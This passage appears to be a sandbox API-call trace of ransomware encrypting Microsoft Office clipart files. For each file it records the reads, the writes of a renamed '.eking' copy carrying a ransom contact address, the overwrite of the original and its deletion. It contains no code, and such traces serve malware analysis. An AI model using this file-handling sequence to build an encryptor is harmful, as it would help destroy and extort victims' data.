files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0191.107] SetEvent (hEvent=0x174) returned 1 [0191.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.107] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1596) returned 1 [0191.107] CloseHandle (hObject=0x1e8) returned 1 [0191.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0191.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0191.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.108] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.108] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.109] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x63c, lpOverlapped=0x0) returned 1 [0191.112] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x640, lpOverlapped=0x0) returned 1 [0191.113] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.114] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.114] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.114] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x63c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x63c, lpOverlapped=0x0) returned 1 [0191.116] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.121] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.123] CloseHandle (hObject=0x1e8) returned 1 [0191.124] CloseHandle (hObject=0x1b8) returned 1 [0191.125] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0191.126] SetEvent (hEvent=0x174) returned 1 [0191.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.128] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7968) returned 1 [0191.128] CloseHandle (hObject=0x1b8) returned 1 [0191.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0191.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0191.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.129] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.129] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.130] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1f20, lpOverlapped=0x0) returned 1 [0191.132] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1f30, lpOverlapped=0x0) returned 1 [0191.134] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.134] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.134] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.134] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1f20, lpOverlapped=0x0) returned 1 [0191.137] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.140] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.143] CloseHandle (hObject=0x1b8) returned 1 [0191.143] CloseHandle (hObject=0x1e8) returned 1 [0191.145] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0191.158] SetEvent (hEvent=0x174) returned 1 [0191.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.159] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1832) returned 1 [0191.159] CloseHandle (hObject=0x1e8) returned 1 [0191.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0191.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0191.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.160] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.160] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.162] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x728, lpOverlapped=0x0) returned 1 [0191.169] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x730, lpOverlapped=0x0) returned 1 [0191.170] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.170] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.170] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.171] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x728, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x728, lpOverlapped=0x0) returned 1 [0191.175] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.179] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.182] CloseHandle (hObject=0x1e8) returned 1 [0191.182] CloseHandle (hObject=0x1b8) returned 1 [0191.186] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0191.188] SetEvent (hEvent=0x174) returned 1 [0191.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.190] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=26332) returned 1 [0191.191] CloseHandle (hObject=0x1b8) returned 1 [0191.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0191.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0191.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.191] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.192] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.192] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x66dc, lpOverlapped=0x0) returned 1 [0191.196] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x66e0, lpOverlapped=0x0) returned 1 [0191.198] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.199] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.199] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.199] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x66dc, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x66dc, lpOverlapped=0x0) returned 1 [0191.201] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.205] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.207] CloseHandle (hObject=0x1b8) returned 1 [0191.207] CloseHandle (hObject=0x1e8) returned 1 [0191.209] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0191.211] SetEvent (hEvent=0x174) returned 1 [0191.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.211] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27858) returned 1 [0191.211] CloseHandle (hObject=0x1e8) returned 1 [0191.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0191.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0191.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.212] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.212] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.214] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x6cd2, lpOverlapped=0x0) returned 1 [0191.217] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x6ce0, lpOverlapped=0x0) returned 1 [0191.219] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.219] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.219] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.219] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x6cd2, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x6cd2, lpOverlapped=0x0) returned 1 [0191.222] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.226] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.230] CloseHandle (hObject=0x1e8) returned 1 [0191.230] CloseHandle (hObject=0x1b8) returned 1 [0191.233] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0191.236] SetEvent (hEvent=0x174) returned 1 [0191.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.237] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3746) returned 1 [0191.237] CloseHandle (hObject=0x1b8) returned 1 [0191.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0191.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0191.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.238] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.238] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.239] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0xea2, lpOverlapped=0x0) returned 1 [0191.243] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xeb0, lpOverlapped=0x0) returned 1 [0191.245] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.245] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.245] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.245] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xea2, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0xea2, lpOverlapped=0x0) returned 1 [0191.248] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.252] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.255] CloseHandle (hObject=0x1b8) returned 1 [0191.255] CloseHandle (hObject=0x1e8) returned 1 [0191.258] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0191.260] SetEvent (hEvent=0x174) returned 1 [0191.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.260] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: 